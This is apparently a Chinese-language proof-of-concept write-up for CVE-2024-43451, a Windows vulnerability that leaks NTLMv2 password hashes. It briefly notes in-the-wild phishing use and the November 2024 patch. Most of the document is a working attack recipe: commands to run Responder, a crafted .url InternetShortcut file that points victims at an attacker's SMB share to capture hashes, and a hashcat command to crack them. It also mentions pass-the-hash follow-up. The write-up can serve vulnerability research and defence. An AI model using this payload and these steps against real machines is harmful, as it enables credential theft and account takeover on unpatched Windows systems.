CVE-2024-43451 是 Microsoft Windows 中的一个零日漏洞,允许攻击者通过极少的用户交互捕获 NTLMv2 密码哈希值,从而导致凭据被盗。一种常见的利用方法是借助通过 SMB 连接到远程服务器的 NTLM 认证来捕获哈希值。该漏洞已在 2024 年 11 月的更新中得到修补。建议用户应用相关安全更新以降低风险。
该攻击被发现正被积极利用,攻击者通过从受感染的乌克兰政府服务器发送的钓鱼邮件进行传播。邮件中包含一个恶意 URL 文件。当用户通过右键单击、删除或移动文件等方式与该文件交互时,漏洞就会被激活。这会触发与攻击者服务器的连接,从而下载更多恶意文件,例如 SparkRAT 恶意软件(一种开源远程访问木马,允许攻击者控制受害者的系统)。
NTLMv2 是目前最安全的版本,也是当今最相关的版本。
图片
为了搭建此 POC 的工作环境,我们需要准备一台目标 Windows 机器(系统版本号在 2024 年 11 月之前发布)以及一台用于模拟捕获哈希值的远程服务器:
Responder,通过 SMB 捕获哈希值:
brew install python3
git clone https://github.com/lgandx/Responder.git
cd Responder
sudo python3 Responder.py -I <你的网络接口> -v
\\(远程服务器IP) 来测试 Responder 设置:
由于该漏洞利用只需要与远程服务器建立 SMB 连接,因此我们可以使用一个简单文件来模拟:
[InternetShortcut]
URL=\\(远程服务器IP)\share
IconIndex=32
IconFile=C:\Windows\System32\shell32.dll
一旦文件准备好并投递到目标系统,捕获哈希值只需最少的用户交互。 交互可能涉及以下任一操作:
https://github.com/user-attachments/assets/fd6389b5-4ee9-4d90-a76e-562394b24058
https://github.com/user-attachments/assets/b820ea73-b0fc-40f1-920e-28cf7869f1e2
拿到未加密的哈希值后,我们可以尝试破解它以获取明文密码,或者使用 Mimikatz 或 Metasploit 等工具进行“哈希传递”攻击。
在我们的示例中,一条简单的 Hashcat 命令就揭示了密码:
hashcat -m 5600 leak.txt rockyou.txt
